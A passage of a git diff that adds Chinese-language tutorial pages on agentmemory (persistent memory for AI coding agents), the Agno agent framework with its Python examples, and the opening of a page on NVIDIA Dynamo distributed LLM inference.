+```json
+{
+  "mcpServers": {
+    "agentmemory": {
+      "command": "npx",
+      "args": ["-y", "@agentmemory/mcp"],
+      "env": {
+        "AGENTMEMORY_URL": "http://localhost:3111"
+      }
+    }
+  }
+}
+```
+
+或用 CLI 一键写入：
+
+```bash
+agentmemory connect cursor
+```
+
+**前提**：另一个终端里 `agentmemory` 已在跑，否则 shim 只有 7 tools。
+
+## 代码示例
+
+### 示例 1：REST API — 手动写入与混合搜索
+
+适合 Aider、CI 脚本、或任何能发 HTTP 的 Agent：
+
+```bash
+# 写入一条长期记忆（决策、模式、踩坑）
+curl -s -X POST http://localhost:3111/agentmemory/remember \
+  -H 'Content-Type: application/json' \
+  -d '{
+    "project": "my-api",
+    "content": "Auth uses jose JWT middleware in src/middleware/auth.ts; tests in test/auth.test.ts",
+    "tags": ["auth", "decision"]
+  }'
+
+# 混合语义 + 关键词搜索
+curl -s -X POST http://localhost:3111/agentmemory/smart-search \
+  -H 'Content-Type: application/json' \
+  -d '{
+    "project": "my-api",
+    "query": "how does token validation work",
+    "limit": 5
+  }'
+
+# 新会话开始时拉取注入用上下文块
+curl -s -X POST http://localhost:3111/agentmemory/context \
+  -H 'Content-Type: application/json' \
+  -d '{
+    "project": "my-api",
+    "query": "rate limiting on API",
+    "maxTokens": 2000
+  }'
+```
+
+若设置了 `AGENTMEMORY_SECRET`，上述请求需加 `Authorization: Bearer <token>`。
+
+### 示例 2：Python + iii-sdk — 直连引擎函数
+
+agentmemory 把核心操作注册为 iii 函数（`mem::remember`、`mem::smart-search`、`mem::context` 等），任意语言只要装 iii-sdk 即可走 WebSocket，不必为每种语言写 REST 客户端：
+
+```python
+from iii import register_worker
+
+iii = register_worker("ws://localhost:49134")
+iii.connect()
+
+# 语义检索：等价于 REST 的 smart-search
+result = iii.trigger({
+    "function_id": "mem::smart-search",
+    "payload": {
+        "project": "demo",
+        "query": "how do tokens refresh",
+        "limit": 5,
+    },
+})
+print(result)
+
+# 显式记住一条洞察（Agent 也可通过 MCP 的 memory_save 做同样的事）
+iii.trigger({
+    "function_id": "mem::remember",
+    "payload": {
+        "project": "demo",
+        "content": "Chose jose over jsonwebtoken for Edge runtime compatibility",
+    },
+})
+```
+
+官方示例目录：`examples/python/`。
+
+### 示例 3：MCP 工具面（Agent 侧）
+
+连上完整 server 后，Agent 可调用（节选）：
+
+| Tool | 用途 |
+|------|------|
+| `memory_save` | 保存决策/模式 |
+| `memory_smart_search` | 混合检索 |
+| `memory_recall` | 搜历史 observation |
+| `memory_profile` | 项目级概念与文件画像 |
+| `memory_graph_query` | 知识图谱遍历 |
+
+Claude Code 还可装 plugin + 15 个 slash skills（`/recall`、`/remember`、`/handoff` 等），让模型知道**何时**该调这些 tool。
+
+## Hooks：零手动捕获
+
+以 Claude Code 为例，plugin 注册约 12 个生命周期 hook：
+
+| Hook | 捕获什么 |
+|------|----------|
+| `SessionStart` | 项目路径、session id → 触发 context 注入 |
+| `UserPromptSubmit` | 用户提示（经隐私过滤） |
+| `PreToolUse` | 即将访问的文件 + enrich |
+| `PostToolUse` | 工具名、输入、输出 |
+| `PostToolUseFailure` | 错误上下文 |
+| `Stop` / `SessionEnd` | 会话摘要、图谱抽取 |
+
+你不需要每次说「请记住」——**修 bug 的过程本身就会变成可检索记忆。**
+
+## 嵌入与本地优先
+
+推荐免费本地方案：
+
+```bash
+npm install @xenova/transformers
+```
+
+默认模型 `all-MiniLM-L6-v2`，离线可用；官方称相对纯 BM25 有约 +8pp recall。也支持 OpenAI、Gemini、Voyage、Cohere、OpenRouter 等云端嵌入。
+
+## 与竞品 / 内置方案怎么选
+
+| 方案 | 适合 | 不适合 |
+|------|------|--------|
+| CLAUDE.md / rules | 稳定、少变的团队约定 | 大量会话沉淀、语义检索 |
+| mem0 / 云 API | 已有向量库基础设施 | 想零外部依赖、完全本地 |
+| Letta | 需要完整 Agent 运行时 | 只想给现有 Cursor/Claude 加记忆 |
+| **agentmemory** | 多 Agent、要 hooks 自动捕获、要 viewer 调试 | 不愿常驻本地 server 进程 |
+
+agentmemory 还强调与 [codegraph](https://github.com/colbymchenry/codegraph)、Understand Anything 等「代码/文档图谱」项目配对：**它记「做过什么」；图谱项目补「结构是什么」。**
+
+## 踩坑清单
+
+1. **只有 7 个 MCP tool**：没起 `agentmemory` server，或 `AGENTMEMORY_URL` 没指对。  
+2. **Cursor 沙箱访问不了 localhost**：Flatpak/Snap 等需 `AGENTMEMORY_FORCE_PROXY=1` 并改 URL 为宿主机可达地址。  
+3. **Claude Code 只靠 import-jsonl**：`cleanupPeriodDays` 默认 30 天会删旧 JSONL；应装 hooks 或定期 import。  
+4. **升级后 hook 路径失效**：手动配 hook 时路径带版本号；用 `agentmemory connect claude-code --with-hooks` 或官方 plugin 路径。  
+5. **隐私**：虽有自动脱敏，仍避免把生产密钥写进会被 observe 的 prompt；可用 `<private>` 标签或治理删除 API。  
+6. **Windows**：需单独装 `iii-engine` v0.11.2 二进制或 Docker；`agentmemory connect` 部分能力受限。
+
+## 运维与部署
+
+- 本地：`npm i -g @agentmemory/agentmemory` → `agentmemory` / `agentmemory doctor`  
+- 一键模板：Fly.io、Railway、Render、Coolify（见 `deploy/`）  
+- 数据默认 SQLite，可 export/import JSON 备份  
+- Viewer `:3113` 在容器部署时通常只绑 loopback，需 SSH 隧道访问  
+
+## 学习路径建议
+
+1. **先跑 demo**：建立「语义检索 ≠ grep」的直觉。  
+2. **开 Viewer**：看一条 memory 从 observation 到压缩的链路。  
+3. **接一个 Agent**：Cursor MCP 或 Claude Code plugin 二选一。  
+4. **故意开第二次会话**：问「我们 auth 怎么做的」，验证是否免复述。  
+5. **读 benchmark 复现**：`eval/README.md`、`benchmark/LONGMEMEVAL.md` 用数据而非 star 数做判断。
+
+## 小结
+
+agentmemory 解决的不是「让 LLM 更聪明」，而是**把跨会话的知识外置成可检索、可衰减、可审计的存储**。Hooks 负责无人值守地写入；混合检索负责少 token 地读出；MCP/REST/iii 负责接入你已经在用的任何编程 Agent。
+
+若你厌倦了每个周一重新给 AI 讲一遍项目史，它值得用 30 秒 demo 验证一次——然后再决定要不要把 `CLAUDE.md` 从「全文背诵」降级成「稳定公约 + agentmemory 动态档案」。
diff --git a/src/content/docs/projects/agentmemory.md b/src/content/docs/projects/agentmemory.md
new file mode 100644
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--- /dev/null
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@@ -0,0 +1,186 @@
+---
+title: "agentmemory — 让 AI 编码代理拥有持久记忆的引擎"
+来源: https://github.com/rohitg00/agentmemory
+日期: 2026-06-13
+分类: 机器学习
+子分类: ML 系统
+provenance: pipeline-v3
+---
+
+## 一、从"每次重来"说起
+
+你有没有过这种经历：今天花半小时让 Claude Code 搭好了一个 JWT 认证模块，明天想让 agent 加个限流功能，结果它又问你一遍——"你的认证放在哪？用的什么库？"
+
+这是因为大多数 AI 编码代理（Claude Code、Cursor、Codex CLI 等）在每次会话开始时都是"失忆"的。它们自带的记忆机制（比如 `CLAUDE.md` 或 `.cursorrules`）最多只能写两百行，而且不会自动更新。
+
+agentmemory 做的事情很简单：它在后台默默运行，记录你每一次编码对话中 agent 做了什么，然后把这些信息压缩成可搜索的结构化记忆。下次会话开始时，agent 自动获取相关上下文，不需要你重新解释。
+
+核心思路类比：把它想象成一个项目的"第二大脑"。你不需要把整本手册塞给 agent，它只需要知道最相关的那几页。
+
+## 二、核心概念
+
+### 2.1 记忆管道（Memory Pipeline）
+
+agentmemory 的工作流程可以分成三个阶段：
+
+1. **捕获**：通过 hooks（钩子）自动记录 agent 的每一次操作——用户说了什么、调了什么工具、读写了什么文件
+2. **压缩**：把原始记录压缩成结构化的事实、概念和叙事，生成向量嵌入并索引
+3. **注入**：下次会话开始时，根据当前任务语义搜索相关记忆，只把最相关的部分注入到对话上下文中
+
+### 2.2 四层记忆巩固
+
+受人类记忆机制启发，agentmemory 把记忆分为四个层级：
+
+| 层级 | 内容 | 人类类比 |
+|------|------|----------|
+| Working（工作记忆） | 原始观察记录 | 短期记忆 |
+| Episodic（情景记忆） | 压缩后的会话摘要 | "发生了什么" |
+| Semantic（语义记忆） | 提取的事实和模式 | "我知道什么" |
+| Procedural（程序记忆） | 工作流和决策模式 | "怎么做" |
+
+记忆会随时间衰减（遵循艾宾浩斯曲线），频繁访问的记忆会加强，过时的记忆会被自动淘汰。
+
+### 2.3 三重检索
+
+搜索不是简单的关键词匹配，而是三路融合：
+
+- **BM25**：关键词匹配，带同义词扩展
+- **向量**：语义相似度（余弦距离）
+- **知识图谱**：通过实体匹配进行图谱遍历
+
+三路结果用 RRF（Reciprocal Rank Fusion，倒数排名融合）算法合并，每个会话最多取 3 条结果。
+
+## 三、代码示例
+
+### 示例 1：安装与启动
+
+最简单的用法就是一行命令：
+
+```bash
+# 全局安装
+npm install -g @agentmemory/agentmemory
+
+# 启动记忆服务器（默认监听端口 3111）
+agentmemory
+
+# 或者用 npx 临时运行（不需要安装）
+npx @agentmemory/agentmemory
+```
+
+启动后，打开 `http://localhost:3113` 可以看到实时的记忆构建界面。
+
+### 示例 2：连接 Claude Code
+
+安装好服务器后，把 agentmemory 接入 Claude Code：
+
+```bash
+# 方法一：使用内置插件（推荐，自动注册 12 个 hooks + 15 个 skills）
+/plugin marketplace add rohitg00/agentmemory
+/plugin install agentmemory
+
+# 方法二：手动配置 MCP（适合不需要 hooks 的场景）
+# 在 ~/.claude.json 的 mcpServers 中添加：
+{
+  "mcpServers": {
+    "agentmemory": {
+      "command": "npx",
+      "args": ["-y", "@agentmemory/mcp"],
+      "env": {
+        "AGENTMEMORY_URL": "http://localhost:3111"
+      }
+    }
+  }
+}
+```
+
+接入之后，agentmemory 会自动捕获 Claude Code 的 12 个生命周期事件（SessionStart、UserPromptSubmit、PreToolUse、PostToolUse 等），全程零手动操作。
+
+### 示例 3：使用 Python SDK 调用记忆搜索
+
+agentmemory 的核心操作注册为 iii 函数，任何有 iii SDK 的语言都可以直接调用：
+
+```python
+from iii import register_worker
+
+# 连接到本地 agentmemory 服务器
+iii = register_worker("ws://localhost:49134")
+iii.connect()
+
+# 执行语义搜索
+result = iii.trigger({
+    "function_id": "mem::smart-search",
+    "payload": {
+        "project": "my-project",
+        "query": "how do tokens refresh"
+    },
+})
+
+print(result)
+# 返回与"token 刷新"相关的结构化记忆片段
+```
+
+支持的 SDK：
+- Python: `pip install iii-sdk`
+- Rust: `cargo add iii-sdk`
+- Node: `npm install iii-sdk`
+
+### 示例 4：REST API 直接调用
+
+即使没有 iii 运行时，也可以通过 REST API 访问：
+
+```bash
+# 智能搜索
+curl -X POST http://localhost:3111/agentmemory/smart-search \
+  -H "Content-Type: application/json" \
+  -d '{"query": "auth middleware", "project": "demo"}'
+
+# 手动保存一条记忆
+curl -X POST http://localhost:3111/agentmemory/save \
+  -H "Content-Type: application/json" \
+  -d '{
+    "project": "demo",
+    "content": "用户偏好使用 jose 而非 jsonwebtoken，因为需要 Edge 兼容性"
+  }'
+```
+
+## 四、关键特性一览
+
+**自动捕获**：12 个 hooks 覆盖完整的会话生命周期，零手动配置。每次工具调用、文件访问、错误信息都会被记录。
+
+**隐私保护**：存储前自动过滤 API 密钥、密码等敏感信息，还支持 `<private>` 标签标记的内容不会被记录。
+
+**自我修复**：内置熔断器、提供者降级链和健康监控。如果某个嵌入模型不可用，会自动切换到下一个备选。
+
+**记忆治理**：支持 TTL 过期自动淘汰、矛盾检测、重要性淘汰。记忆不是无限增长的。
+
+**跨代理共享**：通过 MCP 协议和 REST API，多个不同的编码代理可以共享同一份记忆。一个服务器，所有代理通用。
+
+**实时可视化**：端口 3113 上的 Web 界面可以实时查看记忆构建过程，还有会话回放功能，支持播放/暂停、速度调节（0.5x-4x）。
+
+## 五、基准测试亮点
+
+agentmemory 在公开基准 LongMemEval-S（500 个问题）上取得了：
+
+- **R@5 = 95.2%**（检索 Top5 中包含正确答案的概率）
+- **R@10 = 98.6%**
+- **MRR = 88.2%**（平均倒数排名的均值）
+
+作为对比，纯 BM25 回退方案的 R@5 只有 86.2%。
+
+在 Token 节省方面，相比每次都粘贴完整上下文（每年 1950 万 Token），agentmemory 每年只需约 17 万 Token，节省约 92%，年成本约 10 美元。如果使用本地嵌入模型（如 `all-MiniLM-L6-v2`），成本可以降到 0。
+
+## 六、生态定位
+
+agentmemory 对标的项目包括 mem0、Letta/MemGPT、Khoj 等。它的差异化在于：
+
+- **零外部依赖**：只用 SQLite + iii-engine，不需要 Qdrant、Postgres 等额外数据库
+- **无框架锁定**：支持任何 MCP 客户端，不限于特定 AI 代理
+- **开箱即用的集成**：支持 30+ 种编码代理（Claude Code、Cursor、Codex CLI、Gemini CLI、OpenCode 等），每种都有对应的安装指南
+
+## 七、总结
+
+agentmemory 解决的是一个朴素但重要的问题：AI 编码代理不该每次会话都从零开始。它通过自动捕获、智能压缩、语义检索三个环节，让 agent 像有一个不断成长的项目知识库一样工作。
+
+对于正在使用 AI 编码代理的人来说，这可能是目前最成熟的持久记忆解决方案之一。它的零外部依赖设计和广泛的代理兼容性，让它既适合个人开发者快速上手，也适合团队部署共享记忆。
+
+如果你想深入了解，推荐阅读项目中的 `benchmark/` 目录下的基准报告，以及 `docs/recipes/pairings.md` 中关于与其他知识图谱工具配合使用的配方。
diff --git a/src/content/docs/projects/agno-phidata-2026.md b/src/content/docs/projects/agno-phidata-2026.md
new file mode 100644
index 000000000..1e47b593f
--- /dev/null
+++ b/src/content/docs/projects/agno-phidata-2026.md
@@ -0,0 +1,201 @@
+---
+title: Agno (phidata) 零基础入门笔记
+来源: https://github.com/agno-agi/agno
+日期: 2026-06-13
+分类: Agent
+子分类: 智能体与 LLM
+provenance: pipeline-v3
+---
+
+# Agno (phidata) 零基础入门笔记
+
+## 一、Agno 是什么？用一个类比来理解
+
+想象你要开一家餐厅：
+
+- **LLM（大语言模型）** 就像一位知识渊博的厨师，能写菜谱、会聊天，但不知道你家厨房有什么食材。
+- **Agno** 就是这套厨房系统——它给厨师配好了冰箱（知识库）、工具箱（工具）、记账本（记忆），甚至还有一面监控摄像头（追踪日志）。
+
+Agno 是一个 Python SDK + 运行时平台，让你能「构建、运行、管理」自己的 AI Agent 平台。它的口号是：**Build, run, and manage agent platforms.**
+
+简单说：
+
+- 用 Agno SDK 写 Agent（智能体）
+- 用 AgentOS 把 Agent 跑成生产级服务
+- 用一个管理面板统一管理所有 Agent
+
+## 二、核心概念
+
+### 2.1 Agent（智能体）
+
+Agent 是 Agno 最基本的单位。官方定义：
+
+> Agents are a stateful control loop around a stateless model.
+
+用大白话说：模型本身是「无状态」的——它只负责思考和调用工具。Agent 则在模型外面包了一层「状态管理」，让它能记住对话历史、管理工具调用、持续完成任务。
+
+一个 Agent 包含：
+
+| 组件 | 作用 | 类比 |
+|------|------|------|
+| model | 驱动 Agent 的 AI 模型 | 厨师的大脑 |
+| tools | 让 Agent 能操作外部世界 | 刀具、锅铲、冰箱 |
+| instructions | 给 Agent 的「工作指南」 | 菜单和标准操作流程 |
+| memory | 跨会话的记忆能力 | 厨师的笔记本 |
+| knowledge | 挂载知识库（如文档、网页） | 食材百科全书 |
+| db | 会话存储 | 点单记录本 |
+
+### 2.2 Team（团队）
+
+多个 Agent 可以组成 Team，分工协作。比如一个 Team 里有个「研究员」和一个「写手」，研究员负责查资料，写手负责写报告。
+
+### 2.3 Workflow（工作流）
+
+比 Team 更精细的控制——你可以规定 Agent A 做完后交给 Agent B，或者根据条件走不同的分支。类似流水线上的自动化装配线。
+
+### 2.4 AgentOS
+
+如果把单个 Agent 看作一台机器，AgentOS 就是整个工厂：
+
+- 提供 50+ REST API 端点
+- 支持会话隔离、JWT 认证、角色权限管理（RBAC）
+- 内置追踪日志（tracing）、定时任务（scheduling）
+- 可对接 Slack、Telegram、WhatsApp、Discord
+- 自带 Web 管理面板
+
+## 三、代码示例
+
+### 示例 1：创建一个最简单的 Agent
+
+这是 Agno 文档中的第一个示例——一个能帮你整理文件文件夹的 Agent。
+
+```python
+from pathlib import Path
+from agno.agent import Agent
+from agno.tools.workspace import Workspace
+
+folder = Path(".")
+
+# 创建一个 Agent
+sorting_hat = Agent(
+    # 指定使用的 AI 模型（支持 OpenAI、Anthropic、Google 等 100+ 模型）
+    model="openai:gpt-5.5",
+    
+    # 给 Agent 配工具——这里给它一个" workspace "工具
+    # 可以读取文件、列出目录、搜索、执行 shell 命令
+    tools=[Workspace(root=str(folder), allowed=["read", "list", "search", "shell"])],
+    
+    # 给 Agent 的工作指令
+    instructions=(
+        "浏览这个文件夹，搞清楚里面都有什么，然后提出一个整理方案。"
+        "自己决定分类方式。如果 shell 命令有用就使用（比如 file、pdftotext）。"
+        "最后返回一个整洁的总结、分类说明和文件夹树状图。"
+    ),
+    
+    # 让回复支持 Markdown 格式
+    markdown=True,
+)
+
+# 运行 Agent，stream=True 表示边生成边输出
+sorting_hat.print_response(f"整理并分析 {folder}", stream=True)
+```
+
+这个例子展示了 Agent 最核心的用法：
+
+1. 导入 `Agent` 类
+2. 传入 model（用哪个 AI）
+3. 传入 tools（能让它做什么）
+4. 传入 instructions（告诉它怎么做）
+5. 调用 `print_response()` 让它干活
+
+### 示例 2：带记忆和存储的生产级 Agent
+
+第一个例子只是"一次性脚本"。如果我们要让 Agent 能持续对话、记住历史，就需要加 `db`（数据库）和 `memory`（记忆）。
+
+```python
+from agno.agent import Agent
+from agno.db.sqlite import SqliteDb
+from agno.os import AgentOS
+from agno.tools.workspace import Workspace
+
+# 创建带记忆的 Agent
+workbench = Agent(
+    name="Workbench",
+    model="openai:gpt-5.5",
+    
+    # 用 SQLite 存储会话数据——对话历史会自动管理
+    db=SqliteDb(db_file="workbench.db"),
+    
+    # 操作当前目录
+    tools=[Workspace(".")],
+    
+    # 启用智能记忆——Agent 能从使用中学习模式
+    enable_agentic_memory=True,
+    
+    # 把最近的对话历史注入到上下文中
+    add_history_to_context=True,
+    num_history_runs=3,  # 保留最近 3 次运行记录
+)
+
+# 用 AgentOS 启动服务
+# 这会让你的 Agent 变成一个可访问的 API 服务
+# 支持流式响应、认证、会话隔离、API 端点
+agent_os = AgentOS(agents=[workbench], tracing=True)
+app = agent_os.get_app()
+
+# 运行: fastapi dev workbench.py
+# 服务启动后访问 http://localhost:8000/docs 看 API 文档
+# 访问 os.agno.com 打开 Web 管理面板
+```
+
+这个例子里多了几个关键概念：
+
+| 新增项 | 说明 |
+|--------|------|
+| `db=SqliteDb(...)` | 会话持久化。AgentOS 自动管理会话的读写和上下文注入 |
+| `enable_agentic_memory=True` | 启用 Agent 记忆——它可以从历史使用中学习到你的偏好 |
+| `add_history_to_context=True` | 把过往对话加入当前上下文，让 Agent 「记得之前聊过什么」 |
+| `AgentOS` | 把 Agent 包装成生产级服务，自带 API、认证、追踪 |
+
+## 四、Agno 能做什么？
+
+根据官方文档和案例，Agno 的典型应用场景：
+
+- **In-product 协作助手** — 像 Slack 里的代码伴侣，团队工作时实时协作
+- **数据 Agent** — 自动分析数据、生成报告、做质量审计
+- **文档处理** — 自动化文档分类、信息提取、知识整理
+- **员工助手** — 连接 Slack、Google Drive、Wiki 等工作工具
+- **数据标注** — ML 团队用来标注文本、图像、音频、视频数据
+- **合成数据生成** — 自动生成训练数据和评估数据
+
+## 五、安装与起步
+
+```bash
+# 创建虚拟环境
+uv venv --python 3.12
+source .venv/bin/activate
+
+# 安装基础版
+uv pip install -U agno openai
+
+# 如果需要 AgentOS 完整功能
+uv pip install -U 'agno[os]'
+```
+
+## 六、学习路线建议
+
+1. **先跑通示例 1** — 理解 Agent、model、tools 三个核心概念
+2. **理解 Tools 系统** — Agno 有 100+ 预建工具包（HackerNews、Google、Slack 等），这是 Agent 能力的来源
+3. **深入 Memory 和 Knowledge** — 记忆 vs 知识库的区别：记忆是 Agent 自己学会的，知识库是你喂给它的
+4. **尝试 AgentOS** — 把 Agent 跑成服务，体验生产级部署
+5. **学习 Team 和 Workflow** — 从单 Agent 进阶到多 Agent 协作
+
+## 七、个人理解总结
+
+Agno 的核心价值在于「全栈」：
+
+- 写 Agent 时：提供 SDK（Agent / Team / Workflow）
+- 跑 Agent 时：提供 AgentOS 运行时（API / 存储 / 追踪 / 认证）
+- 管 Agent 时：提供 Web 管理面板
+
+它把通常需要你搭好几套系统才能完成的事情，浓缩到了一个 `pip install agno` 里。对于想快速验证 Agent 想法、或者搭建内部 Agent 平台的人来说，这是一个很好的起点。
diff --git a/src/content/docs/projects/agno.md b/src/content/docs/projects/agno.md
new file mode 100644
index 000000000..c9a24471d
--- /dev/null
+++ b/src/content/docs/projects/agno.md
@@ -0,0 +1,217 @@
+---
+title: Agno — 多模态 Agent 平台框架
+来源: https://github.com/agno-agi/agno
+日期: 2026-06-13
+分类: 机器学习
+子分类: ai-agent-infra
+provenance: pipeline-v3
+---
+
+# Agno — 多模态 Agent 平台框架
+
+## 一句话概括
+
+Agno 是一个 Python SDK，帮你「用几行代码创建一个 AI Agent，再把它变成生产可用的 API 服务」。
+
+它不跟你纠缠于 Prompt 怎么写，而是把 Agent 从「脚本」变成「服务」——自带会话管理、记忆、追踪、调度、权限控制。
+
+## 日常类比
+
+想象你开了一家餐馆：
+
+- **普通的 LLM 调用** 就像你每次都要亲自跑到厨房，告诉厨师「帮我做个宫保鸡丁」，厨师做好端出来。下一个顾客还要再跑一趟、再说一遍。
+- **Agno** 就像给餐馆装了一套完整的运营系统：有个前台（API 端点）接待顾客，每张桌子有编号（Session ID），服务员记得每位客人上次点了什么（Memory），厨师的操作都有监控录像（Tracing），而且系统还能自动告诉厨师「今天 10 点要准备材料」（Scheduling）。
+
+简单说：Agno 把「跟 AI 聊一次天」变成了「运营一个 AI 服务」。
+
+## 核心概念
+
+### 1. Agent（智能体）
+
+Agent 是 Agno 的基本单位。你只需要给它三样东西：名字、用哪个模型、给它什么工具。
+
+```python
+from agno.agent import Agent
+
+assistant = Agent(
+    name="Data Analyst",
+    model="openai:gpt-5.5",
+    instructions="你是一个数据分析助手，擅长用 Python 分析数据并生成报告。",
+    markdown=True,
+)
+```
+
+- **name**：Agent 的标识名
+- **model**：指定底层 AI 模型，支持 OpenAI、Anthropic、Google、本地模型等
+- **instructions**：给 Agent 的「角色设定」
+- **markdown**：让回复自动渲染为 Markdown 格式
+
+### 2. Tools（工具）
+
+工具是 Agent 能干活的「手」。Agno 内置了 100+ 个预建工具包，也可以自己写。
+
+```python
+from agno.agent import Agent
+from agno.tools.duckduckgo import DuckDuckGoTools
+
+search_agent = Agent(
+    name="Web Researcher",
+    model="openai:gpt-5.5",
+    tools=[DuckDuckGoTools()],  # 让 Agent 能搜索互联网
+    instructions="当用户问问题时，先搜索最新信息再回答。",
+)
+
+response = search_agent.run("2026年AI领域有什么重大突破？")
+print(response.content)
+```
+
+常见工具包包括：文件读写、网页搜索、数据库查询、Slack 消息、代码执行等。
+
+### 3. Session & Memory（会话与记忆）
+
+这是 Agno 和其他框架的区别所在。普通的 LLM 调用每次都是「失忆」的，Agno 帮你持久化会话和记忆。
+
+```python
+from agno.agent import Agent
+from agno.db.sqlite import SqliteDb
+
+memory_agent = Agent(
+    name="My Assistant",
+    model="openai:gpt-5.5",
+    db=SqliteDb(db_file="assistant.db"),       # 会话存储
+    enable_agentic_memory=True,                 # 开启记忆功能
+    add_history_to_context=True,                # 把历史对话加入上下文
+    num_history_runs=3,                         # 保留最近 3 轮对话
+)
+
+# 第一次对话 — Agent 记住了你说过的话
+memory_agent.run("我喜欢Python和Rust，帮我推荐学习路径")
+
+# 第二次对话 — Agent 会记得上次的内容
+memory_agent.run("接着上次的建议，我该怎么开始？")
+```
+
+`db=SqliteDb(...)` 把会话存在本地 SQLite 数据库，生产环境可以换成 PostgreSQL、Redis 等。`enable_agentic_memory=True` 让 Agent 从使用中学会东西。
+
+### 4. AgentOS（运行时）
+
+AgentOS 是 Agno 的「引擎室」。注册 Agent 之后，一行代码就能启动一个完整的 API 服务。
+
+```python
+from agno.agent import Agent
+from agno.db.sqlite import SqliteDb
+from agno.os import AgentOS
+from agno.tools.workspace import Workspace
+
+workbench = Agent(
+    name="Workbench",
+    model="openai:gpt-5.5",
+    db=SqliteDb(db_file="workbench.db"),
+    tools=[Workspace(".")],
+    enable_agentic_memory=True,
+    add_history_to_context=True,
+    num_history_runs=3,
+)
+
+# 一键启动生产 API 服务
+agent_os = AgentOS(agents=[workbench], tracing=True)
+app = agent_os.get_app()
+```
+
+然后用 `fastapi dev workbench.py` 启动，API 就在 `http://localhost:8000` 运行了。你自动获得：
+
+| 功能 | 说明 |
+|------|------|
+| 50+ API 端点 | 会话管理、记忆管理、追踪查看、调度任务等 |
+| SSE 流式响应 | 大段回复可以逐字输出 |
+| 后台任务 | 可以异步执行耗时操作 |
+| JWT 权限控制 | 多用户、多租户隔离 |
+| 内置 UI | 访问 `os.agno.com` 连接后即可聊天和管理 |
+
+### 5. 多模态支持
+
+Agno 支持图片、视频、音频等多模态输入。Agent 可以直接接收并处理文件。
+
+```python
+from agno.agent import Agent
+
+vision_agent = Agent(
+    name="Image Analyzer",
+    model="openai:gpt-5.5",  # GPT-4V 系列支持多模态
+)
+
+# 分析一张图片
+response = vision_agent.run(
+    "描述这张图片的内容，并分析图中的布局",
+    images=["photo.jpg"],
+)
+```
+
+### 6. Context Providers（上下文提供者）
+
+Context Providers 让 Agent 能访问实时数据源：Slack、Google Drive、MCP 服务器、自定义 API 等。
+
+## Agno 与同类框架对比
+
+| 维度 | Agno | LangChain / LangGraph | OpenAI Agents SDK |
+|------|------|----------------------|-------------------|
+| 定位 | Agent 平台（从代码到服务） | Agent 编排框架 | 单层 Agent SDK |
+| 内置 API 服务 | 有（AgentOS） | 需要自己搭建 | 无 |
+| 会话/记忆 | 内置 | 需要接第三方 | 无 |
+| 追踪/监控 | 内置 OpenTelemetry | 需要 LangSmith | 无 |
+| 权限/RBAC | 内置 JWT+RBAC | 无 | 无 |
+| 部署 | 容器化部署到任意云平台 | 自行决定 | 不适用 |
+
+Agno 的特点是：「给你搭好一个完整的 Agent 服务平台，你只管定义 Agent 的行为」。
+
+## 完整示例：一个会搜索+写文件的 Agent
+
+```python
+from pathlib import Path
+from agno.agent import Agent
+from agno.tools.duckduckgo import DuckDuckGoTools
+from agno.tools.workspace import Workspace
+
+folder = Path(__file__).parent
+
+researcher = Agent(
+    name="Research Writer",
+    model="openai:gpt-5.5",
+    tools=[
+        DuckDuckGoTools(),          # 搜索互联网
+        Workspace(root=str(folder), allowed=["read", "list", "write", "shell"]),
+    ],
+    instructions=(
+        "搜索用户给的主题，整理出关键点，"
+        "然后写一份 Markdown 格式的报告保存到研究文件夹。"
+        "最后返回目录结构。"
+    ),
+    markdown=True,
+)
+
+response = researcher.print_response(
+    "请研究 Rust 的 Error Handling 最佳实践并写一份报告",
+    stream=True,
+)
+```
+
+运行这个脚本，Agent 会：
+1. 用 DuckDuckGo 搜索主题
+2. 整理关键信息
+3. 写入 Markdown 文件
+4. 输出报告 + 目录树
+
+## 学习路线建议
+
+1. **第一步**：用 20 行代码跑通第一个 Agent（官方教程）
+2. **第二步**：理解 Session + Memory 是怎么工作的（换不同的数据库后端）
+3. **第三步**：尝试加入工具包，让 Agent 能访问外部资源
+4. **第四步**：用 AgentOS 把 Agent 变成 API 服务，接入前端界面
+5. **第五步**：了解生产级功能：RBAC、OpenTelemetry 追踪、调度、人类审批流
+
+## 关键资源
+
+- 文档：https://docs.agno.com
+- 源码：https://github.com/agno-agi/agno（40.7k stars）
+- 第一个 Agent 教程：https://docs.agno.com/first-agent
+- 编码 Agent 集成指南：https://docs.agno.com/coding-agents
diff --git a/src/content/docs/projects/ai-dynamo.md b/src/content/docs/projects/ai-dynamo.md
new file mode 100644
index 000000000..f6b65c7b3
--- /dev/null
+++ b/src/content/docs/projects/ai-dynamo.md
@@ -0,0 +1,300 @@
+---
+title: ai-dynamo / Dynamo — 数据中心级分布式 LLM 推理编排
+来源: https://github.com/ai-dynamo/dynamo
+日期:2026-06-13
+子分类: 模型与训练
+分类: 机器学习
+provenance:pipeline-v3
+---
+
+## 是什么
+
+**NVIDIA Dynamo**（PyPI 包名 `ai-dynamo`，仓库 [ai-dynamo/dynamo](https://github.com/ai-dynamo/dynamo)）是一个面向**多 GPU / 多节点**的生成式 AI 推理编排框架。它**不替代** vLLM、SGLang 或 TensorRT-LLM，而是站在这些推理引擎之上，把一堆 GPU 协调成一套可扩展的推理系统。
+
+日常类比：
+
+- **vLLM / SGLang**：像一家餐厅里**单条流水线厨房**——一个厨师（一块 GPU）把点菜、备料、炒菜、装盘全包了，单店效率很高。
+- **Dynamo**：像**连锁餐饮集团的调度中心**——前台接单后，把「大量备料」（prefill）派给备菜间，把「逐盘小炒」（decode）派给炒锅间；还知道哪个分店已经备过同样的料（KV cache 命中），新单直接路由过去，避免重复切菜。
+
+如果你只在**单卡单模型**上跑推理，直接用 vLLM 往往就够。当你要跨机架、按 SLA 自动扩缩、或把 prefill 与 decode 拆开扩时，才需要 Dynamo 这一层。
+
+> **易混淆名字**：本文的 Dynamo ≠ Amazon DynamoDB 数据库 ≠ SOSP 2007 的 Amazon Dynamo KV 存储 ≠ PLDI 2000 的 HP Dynamo 动态优化系统。它们只是同名不同物。
+
+## 为什么重要
+
+不理解 Dynamo，下面这些事很难讲清楚：
+
+- **多节点推理怎么编排**：单机引擎优化的是「一块 GPU 怎么快」；Dynamo 优化的是「几十上百块 GPU 怎么一起干活、谁接哪类请求」
+- **Prefill/Decode 分离（Disaggregated Serving）**：长 prompt 的 prefill 是计算密集型，逐 token 的 decode 是内存带宽密集型；绑在同一池 GPU 上经常互相拖累
+- **KV-aware 路由**：两个用户带着相同系统提示来聊天时，若路由到已缓存前缀的 worker，可跳过重复 prefill——官方与 Baseten 等案例报告 TTFT 可接近 **2×** 提升
